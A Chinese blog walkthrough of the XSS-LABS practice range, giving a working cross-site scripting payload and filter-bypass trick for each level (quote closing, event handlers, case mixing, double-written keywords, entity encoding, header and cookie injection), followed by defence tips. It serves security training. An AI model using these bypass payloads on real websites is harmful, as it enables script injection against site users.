当前位置: 首页 > news >正文

XSS-LABS靶场通关讲解

声明

文中涉及操作均来自靶机虚拟环境,禁止用于真实环境,任何未经授权的渗透测试都是违法行为!

靶场部署与工具推荐

  • 环境搭建:使用PHPStudy部署,源码从GitHub下载。
  • 测试工具:Burp Suite(抓包)、ExifTool(修改EXIF)、XSStrike(自动化检测)。

https://github.com/do0dl3/xss-labs下载 xss-labs,

解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs

之后访问 http://localhost/xss-labs/

1. Level 1(直接注入)

漏洞点:GET参数name未过滤直接输出到HTML。

Payload<script>alert('xss')</script>

原理:服务端未转义用户输入,直接拼接至<h2>标签中。

2. Level 2(闭合属性值)

漏洞点:输入框的value属性未过滤,但<h2>内容被转义。

Payload"><script>alert(1)</script>

技巧:闭合value的双引号,利用未过滤的输入点注入脚本。

3. Level 3(事件触发绕过)

漏洞点<>被转义,但单引号未过滤。

Payload' onfocus=javascript:alert() '

原理:通过onfocus事件在输入框获得焦点时触发脚本。

4. Level 4(双引号闭合)

漏洞点:双引号闭合属性值,过滤逻辑与Level 3相反。

Payload" onfocus=javascript:alert() "

技巧:调整引号类型以适应服务端过滤规则。

5. Level 5(<a>标签利用)

漏洞点onscript被过滤为o_nscr_ipt

Payload"><a href="javascript:alert(1)">xss</a><"

绕过:利用<a>标签的href属性执行JavaScript伪协议。

6. Level 6(大小写绕过)

漏洞点:关键字过滤未统一大小写。

Payload"><sCript>alert()</sCript><"

技巧:通过混合大小写绕过黑名单检测。

7. Level 7(双写绕过)

漏洞点script被替换为空,但仅过滤一次。

Payload"><scscriptript>alert()</scscriptript><"

原理:双写敏感词使过滤后仍保留有效字符。

8. Level 8(html 实体编码)

漏洞点href属性自动解码Unicode。

Payloadjavascript:alert(1)编码为&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

工具:使用在线编码工具转换关键字符。

9. Level 9(注释符绕过)

漏洞点:强制要求参数包含http://

Payloadjavascript:alert()/*http://*/

技巧:添加注释符绕过字符串检测。

10. Level 10(隐藏表单注入)

漏洞点:通过隐藏的t_sort参数注入事件。

Payload?t_sort=" onfocus=alert() type="text

原理:修改隐藏表单属性为可见并触发事件。

11. Level 11(Referer头注入)

漏洞点Referer头未过滤写入隐藏表单。

Payload:修改HTTP头为Referer: " onfocus=alert() type="text

12. Level 12(User-Agent注入)

漏洞点User-Agent头未过滤。

Payload:同Level 11,修改User-Agent字段。

13. Level 13(Cookie注入)

漏洞点:Cookie值未过滤写入页面。

Payload:设置Cookie为user=" onfocus=alert() type="text

14. Level 14(EXIF XSS)

漏洞点:图片EXIF信息未过滤。

方法:使用工具(如ExifTool)在图片元数据中插入脚本。

15. Level 15

漏洞点ng-include指令包含外部页面。

Payload?src='level1.php?name=<img src=x onerror=alert(1)>'

16. Level 16(空格与换行符)

漏洞点:空格被编码为&nbsp;,换行符保留。

Payload<img%0asrc=x%0aonerror=alert(1)>

17. Level 17-18(Flash XSS)

漏洞点:Flash未过滤参数,闭合标签属性。

Payload?arg01=a&arg02= onmouseover=alert(1)

三、防御思路总结

  1. 输入过滤:使用白名单限制特殊字符(如<, >)。
  2. 输出编码:根据上下文转义HTML/JS(如<转为&lt;)。
  3. HTTP安全头
Content-Security-Policy: script-src 'self';
Set-Cookie: HttpOnly; Secure
  1. 框架安全:避免直接使用v-htmlinnerHTML等危险API。

相关文章:

  • 读书会-c#并发编程
  • P9421 [蓝桥杯 2023 国 B] 班级活动--数学题(配对问题)
  • FakeApp 技术浅析(三):自动编码器
  • ArcGIS 工程文件到 ArcGIS Pro 的无缝迁移:详细步骤与技巧
  • Linux系统管理二
  • MYSQL之创建数据库和表
  • 算力集群+Pycharm+SSH连接经验(自用)
  • Redis篇:基础知识总结与基于长期主义的内容更新
  • 德鲁伊连接池
  • ROS云课基础题库-01C++案例-甜甜圈
  • TCP和UDP
  • python JSON模块
  • VS(visual studio 2022)的实用调试小技巧[特殊字符]
  • 《 C++ 修炼全景指南:二十六 》想懂数据库?深入 B 树的世界,揭示高效存储背后的逻辑
  • 低空经济-飞行数据平台 搭建可行方案
  • Unity DOTS从入门到精通之 自定义Authoring类
  • 1:1精准还原!用Python+Adobe Acrobat DC实现PDF转Word全自动化
  • 【Git】合并,删除分支
  • JVM - 3.垃圾回收
  • 启智平台华为昇腾910B使用MS-Swift微调Janus-Pro-7/1B
  • 构筑高地共伴成长,第六届上海创新创业青年50人论坛在沪举行
  • 习近平会见古巴国家主席迪亚斯-卡内尔
  • 工行回应两售出金条疑似有杂质:情况不属实,疑似杂质应为金条售出后的外部附着物
  • 秦洪看盘|交易型资金收缩,释放短线压力
  • 晋级中部非省会第一城,宜昌凭什么
  • 苹果Safari浏览器上的搜索量首次下降